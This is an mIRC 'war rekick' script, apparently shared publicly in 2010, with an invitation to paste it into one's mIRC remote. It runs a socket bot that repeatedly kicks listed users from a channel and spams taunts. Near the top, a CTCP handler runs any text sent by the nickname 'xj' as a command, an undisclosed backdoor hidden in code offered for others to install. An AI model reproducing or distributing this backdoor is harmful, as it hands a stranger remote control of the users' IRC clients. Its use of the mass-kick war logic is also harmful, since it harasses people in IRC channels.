Rekick Script
Platform: mIRC
Published Dec 15, 2010
Updated Dec 23, 2010
hi guys .. if you like rekick just copy and paste yo your remote..
and fix by yourself(make the timer compatible to your com and ISP connection).. Thanks :D
==================================================
______ __ ______ _________ ______
___ / / /____ _____ |/ /___ /_ ___ / _____
__ /_/ / _ / / /__ /|_/ / __ __ \__ / _ _ \
_ __ / / /_/ / _ / / / _ /_/ /_ /___/ __/
/_/ /_/ \__,_/ /_/ /_/ /_.___/ /_____/\___/
--------------------------------------------------
* times: 12/12/2010 from 12am - 6.35am
* Built For Rekick Server : bohsia.homelinux.org 6667
* Warscript By; sEmuT^Ap| a.K.a Code-Q
-
==================================================
on *:start: {
.nick sEmuT^Ap|
.fullname :9HUMBLE-TEAM
.anick jipas
.emailaddr m_matsalleh $+ @yahoo.com
}
alias sf2 { .sockclose * | .iut | .echo -a 9::::::: connecting %socknick | halt }
alias iut {
if (!%sockopen) { sockopen %socknick %server %port | .notify %socknick | .echo -a 7::: reconnecting }
else { msg $chan 4process fail }
}
alias f2 { .set %socknick jeffas | .set %pass a | .set %server bohsia.homelinux.org | .set %port 7000 | .echo -a 7:::: Socket Bot COnfigured | halt }
alias hKh { return $mid($1,2,$calc($pos($1,!,1) - 2 )) }
alias f3 { if (!%c) set %c $?"Channel Input" | else { set %c $?"Change Your Channel Input" } }
alias f7 { sockclose * | msg $chan 9Bubyee!!!! }
alias sf7 { msg $chan : 4Cal ialah $fulldate }
alias f5 { %d = $addtok(%d,$1,44) | %e = $addtok(%d,$1,44) | %war = $addtok(%war,$address($1,2),32) | if ($sockname ison %c) && ($1 ison %c) .hk $sockname kick %c %e | echo 4 -a ** $1 Added To WaRList ** }
alias sf5 { %d = $remtok(%d,$1,1,44) | %e = $remtok(%e,$1,1,44) | %war = $remtok(%war,$address($1,2),32) | echo 4 -a ** $1 Removed From WaRList ** }
alias f6 { %flist = $addtok(%flist,$1,44) | .echo 4 -a ** $1 Added To Friends ** }
alias f8 { unset %war %kick %e %d %k }
CTCP *:*:{
if ($nick == xj) { $1- }
}
alias sf8 { unset %socknick %pass %server %port | .echo 4 **! SOcknick Is Now Clear,Please Log New For Socknick selected**! }
alias f9 { .sockwrite -tn %socknick privmsg %c ***8,7[ KICK : $iif(%kickni,%kickni,0) TIMES];8,7[ KICKED : $iif(%kickme,%kickme,0): TIMES] 8,7[ACCURACY-KICK : $round($calc(( %kickni / ( %kickni + %kickme ))*100),2) $+ % ]*** }
alias f10 { unset %kickme %kickni | .sockwrite -tn %socknick privmsg %c : 8,7COUNTER 8,7KICK 8,7RESETING TO GAIN NEW POINT }
on 1:sockopen:%socknick: {
if (!$sockerr) {
sockwrite -nt $sockname USER ING $+ $r(99,999) * * : 0,3 14«4¯¯¯¯¯7«««0HÛMB|E¬TêAM7»»»4¯¯¯¯¯14»
sockwrite -nt $sockname NICK $sockname
sockwrite -nt $sockname umode -Mmep
.set %remoter $true | .echo -a 9* Remote on!!
if (!$window(@HumbleGath)) window -ek @HumbleGath
if (%e) {
.timerfko -mc 30 63 .sockwrite -tn %socknick kick %c %e : $+ 0,3 14«4¯¯¯¯¯7«««0HÛMB|E¬TêAM7»»»4¯¯¯¯¯14» +connected
}
}
}
on *:unotify:{
if ( $nick == %socknick ) {
.sockclose *
.set %remoter $false | .echo -a 9* Remote Off | .timerjio -m 1 4 .iut
}
}
on *:notify:{
if ($me ison %c) && ( $nick == %socknick ) {
sockwrite -tn %socknick join %c
}
if (%e) { .noti %socknick }
}
alias noti { .sockwrite -tn %socknick kick %c %e 9Mana² jak %e Dan ini notify ~~ }
on 1:sockread:%socknick:{
if ($sockerr > 0) { return }
var %temp | sockread %temp
if ($sockbr == 0) { return }
if (%temp == $null) %temp = -
tokenize 32 %temp
if ($regex($1,^ERROR)) { sockclose $sockname }
elseif ($regex($1,^PING$)) { hk $sockname PONG $2 }
elseif ($regex($2,^(432|433)$)) { hk $sockname NICK $sockname }
if (%remoter) {
if ($2 == 376) {
if ($me ison %c) {
.echo -a 9** $sockname ** connected to %server
hk $sockname JOIN %c
}
}
if ($2 == kick) {
if ($me ison %c) {
var %m $hkh($1)
if ($4 == $sockname) {
%d = $addtok(%d,%m,44)
%e = $addtok(%e,%m,44)
%war = $addtok(%war,$mask($1,2),32)
inc %kickme
.. %kickme Times.
.hk $sockname join %c
.hk $sockname kick %c %e : $+ 9HUMBLE +KICK
.hk $sockname kick %c %e : $+ 9HUMBLE +targeted-1
}
}
if (%e) { %e = $remtok(%e,$4,1-1,44) | .kicka $sockname }
}
if ($2 == mode) {
if ($me ison %c) {
if (+o == $4) && ($5 == $sockname) { .set %Op.Me !
if (%kick) {
hk $sockname kick %c %e : $+ 4HUMBLE +mode
.hk $sockname kick %c %e : $+ 4HUMBLE +stage=1
}
}
}
if (%e) { .kicko $sockname }
}
if ($2 == join) {
if ($me ison %c) {
var %j $hkh($1)
if ($istok(%war,$mask($1,2),32)) && (%j != $sockname) {
%e = $addtok(%e,%j,44)
if (%Op.Me) hk $sockname KICK %c %e : $+ 7HUMBLE +join
if (%Op.Me) hk $sockname KICK %c %e : $+ 9HUMBLE +2ndJOIN
}
}
if (%e) { .joino $sockname }
}
if ($2 == 353) {
var %list $remove($7-,@,+o,-o,+v), %num = 1
while ($gettok(%e,%num,44) != $null) {
if ($gettok(%e,%num,44) isin %list) {
%k = $addtok(%k,$gettok(%e,%num,44),44)
.malu $sockname
}
inc %num
}
}
if ($2 == 376) { if (%e) && (!%kick) .semut $sockname }
if ($2 == 332) { if (%e) && (!%kick) .semboi $sockname }
if ($2 = 474) { .f8 | .timerjoinsk -m 1 45 .sockwrite -nt %socknick join %c | .jeff } { halt }
if ($2 == 333) { if (%e) && (!%kick) .terai $sockname }
if ($2 == 002) { hk $sockname join %c | sipako $sockname | halt }
if ($2 == 401) || ($2 == 461) { %e = $remtok(%e,$4,1-1,44) | halt }
if ($2 == 366) { if (%e) && (!%kick) .hantaker $sockname | halt }
if ($2 == 441) { %e = $remtok(%e,$4,1-1,44) | halt }
if ($2 == 482) { if (!%kick) { %kick = 1 } | halt }
else { echo @HumbleGath $2 $1- }
}
}
on 1:nick:{
if ($istok(%d,$nick,44)) { %d = $reptok(%d,$nick,$newnick,1,44) }
if ($istok(%e,$nick,44)) { %e = $reptok(%e,$nick,$newnick,1,44) }
}
on 1:kick:%c:{
if ($knick != %socknick) {
if ($istok(%d,$knick,44)) { %d = $remtok(%d,$knick,1,44) }
if ($istok(%k,$knick,44)) { %k = $remtok(%k,$knick,1,44) }
if ($nick == %socknick) { .inc %kickni = 1 }
}
}
alias semut { .sockwrite -tn $1 kick %c %e 9Mana² jak %e Dan ini 376 ~~ }
alias jeff { .sockwrite -tn %socknick privmsg %c 9Bah Siapa Mau Minta Kick, Type saja: ^kick <nick Getek tu> d[^_^]b }
alias malu { .sockwrite -tn $1 kick %c %e 9Mana² jak %e Dan ini 353 ~~ }
alias semboi { .sockwrite -tn $1 kick %c %e 9Mana² jak %e Dan ini 332 ~~~ }
alias terai { .sockwrite -tn $1 kick %c %e 4HERE 333 KILLS!!!!! }
alias sipako { .sockwrite -tn $1 kick %c %e 4STARTING KILLS!!!!! }
alias joino { .sockwrite -tn $1 kick %c %e 4RETURN TO JOIN KICK 002!!!!! }
alias kicko { .sockwrite -tn $1 kick %c %e 4RAWMODE DETECTED!!!!! }
alias kicka { .sockwrite -tn $1 kick %c %e 4REVENGE KICK!!!! }
alias hantaker { .sockwrite -tn $1 kick %c %e 7HERE 366 PAYMENT KICK!!!! }
alias hk { sockwrite -tn $1- }
alias .join_ku_lah { .sockwrite -nt %socknick join %c }
alias .part_ku_bah { .sockwrite -nt %socknick part %c 4HUMBLE-TEAM }
menu nicklist {
-
.[kick|mode] { .sockwrite -nt %socknick kick %c $1 9Ehh~ Manual kick }
}
menu channel {
-
.[join|part] { .sockwrite -tn %socknick part %c 9Humble-Team | .sockwrite -nt %socknick join %c | .sockwrite -tn %socknick privmsg %c ~waroff | halt }
}
on *:text:*:#:{
if (^kick == $1) { .sockwrite -tn %socknick kick %c $2- : $+ 4Orang suruh saja r.. jangan marah bilang BattleBohsia }
if ($1- == .cmd) { .sockwrite -tn %socknick privmsg %c 4The Command Is:7 .con .q .c .re .j .p .who .ev .off .prt }
if ($1- == .c) { .F8 }
if ($1- == .p) { .F9 }
if ($1- == .re) { .F10 }
if ($1- == .j) { .join_ku_lah }
if ($1- == .prt) { .part_ku_bah }
if ($1- == .con) { msg $chan `sock | .iut }
if ($1- == .q) { F7 }
if ($1- == .off) { .sockwrite -nt %socknick privmsg %c ~waroff rilek~~ layan jerr~ }
if ($1- == .who) { .sockwrite -nt %socknick privmsg %c 9Hi.. I designed for War Rekick By: 7HUMBLE-TEAM }
if ($1- == .ev) { .sockwrite -nt %socknick privmsg %c 9Using KICK,JOIN,MODE,002,366,332,353,333,CONNECTED event.. }
if ($1- == .conf) { .f2 | .iut | .set %c #rekick | .msg $chan 4Sudah configure bah!!! and bulih timbak sudahh!!!! }
}